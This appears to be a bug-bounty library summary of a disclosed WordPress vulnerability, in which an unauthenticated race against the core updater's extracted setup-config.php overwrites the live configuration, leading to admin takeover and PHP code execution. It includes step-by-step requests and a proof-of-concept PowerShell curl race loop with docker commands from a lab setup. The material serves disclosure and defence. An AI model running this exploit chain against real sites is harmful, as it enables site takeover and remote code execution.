# WordPress core-updater extracted-installer race: full pre-authentication-to-RCE PoC

Unauthenticated attacker races WordPress core updater's extracted setup-config.php to plant a wp-config.php pointing at attacker MySQL, then becomes admin and uploads a PHP plugin for RCE.

- Payout: hidden
- Severity: low
- Program: WordPress
- Found by: umutbayram3806
- Disclosed: 2026-11-29
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/3913508
- Library page: https://bugbountylibrary.com/r/h1%3A3913508
- Tags: area:web domain:web impact:ato impact:rce kind:bounty platform:hackerone sev:low tech:php technique:race-window technique:source-review vuln:access-control vuln:auth-bypass vuln:file-upload vuln:misconfiguration vuln:race-condition

**Target:** WordPress core updater / wp-admin/setup-config.php in wp-content/upgrade
**Root cause:** During a core update WordPress extracts a full bootstrappable tree under the web-served wp-content/upgrade; the nested setup-config.php only checks for config in/above its own tree, so it runs unauthenticated and writes a wp-config.php that the updater later copies over the live config (skip list excludes only wp-content and wp-includes/version.php).
**Steps:**
1. Trigger/await a full core update so the package extracts to `/wp-content/upgrade/<package-stem>/wordpress/` (stem predictable from `Content-Disposition: attachment; filename=wordpress-7.0.2.zip`).
2. Race POST to `/wp-content/upgrade/<stem>/wordpress/wp-admin/setup-config.php?step=2&noapi=1` with `dbname=wp_audit`, `uname=wp_attacker`, `pwd=change-me`, `dbhost=wp-race-db`, `prefix=bj_` before `copy_dir()` snapshots the root.
3. Updater copies `temporary/wordpress/wp-config.php` over live `wp-config.php`; live site now uses attacker's empty DB.
4. POST `/wp-admin/install.php?step=2` to create first admin `bjadmin` on the empty DB.
5. Log in, fetch plugin-upload nonce from `/wp-admin/plugin-install.php?tab=upload`, upload PHP plugin ZIP via `/wp-admin/update.php?action=upload-plugin`.
6. Request `/wp-content/plugins/audit-bj-rce/audit-bj-rce.php?bj_rce=1` to read `/flag`.
**How found:** Code review of download_url()/unpack_package() showing Content-Disposition filename becomes the upgrade dir basename, plus noticing the extracted tree is web-served and contains a pre-auth setup-config.php whose config check misses the live wp-config.php several dirs up; then checking update-core.php skip list omits wp-config.php and copy_dir overwrites it.
**Exploitation:** Attacker needs only to time one unauthenticated POST during a legitimate full/no-content/new-bundled/localized/beta core update; the updater itself copies the planted config over the live one, switching the site to an attacker-controlled empty MySQL DB. Attacker then completes the normal first-install flow to become administrator, uploads a PHP plugin, and executes code to read /flag. No credentials or update-server control required.
**Escalation:** Config overwrite -> first-install admin takeover -> plugin upload -> PHP RCE.
**Insight:** When an updater extracts a full app tree into a web-served directory, look for installer/bootstrap scripts inside the extracted copy that re-derive their own ABSPATH and skip-list logic that only excludes known dirs — any file the updater copies back (config, .htaccess, entrypoints) is attacker-writable during the extraction window.

## Proof of concept (copied exactly from the original report)

**Unauthenticated race POST to nested setup-config.php**

```
$Setup = "$Target/wp-content/upgrade/wordpress-simulated/wordpress/wp-admin/setup-config.php?step=2&noapi=1"

while ($true) {
    $Body = (& curl.exe -sS --max-time 3 -X POST $Setup `
        --data-urlencode 'dbname=wp_audit' `
        --data-urlencode 'uname=wp_attacker' `
        --data-urlencode 'pwd=change-me' `
        --data-urlencode 'dbhost=wp-race-db' `
        --data-urlencode 'prefix=bj_' `
        --data-urlencode 'language=en_US' `
        --data-urlencode 'noapi=1' 2>$null) -join "`n"

    if ($Body.Contains('All right, sparky')) {
        '[+] Nested attacker wp-config.php created'
        break
    }

    Start-Sleep -Milliseconds 20
}
```

**Trigger core update copying attacker wp-config**

```
docker exec `
  --user www-data `
  -e AUDIT_BJ_PACKAGE=http://127.0.0.1/audit-bj-package.php `
  wp-race-web `
  php /var/www/html/audit-bj-run-core-update.php
```

**Verify overwritten live wp-config values**

```
docker exec wp-race-web grep `
  -e DB_NAME `
  -e DB_USER `
  -e DB_HOST `
  -e table_prefix `
  /var/www/html/wp-config.php
```

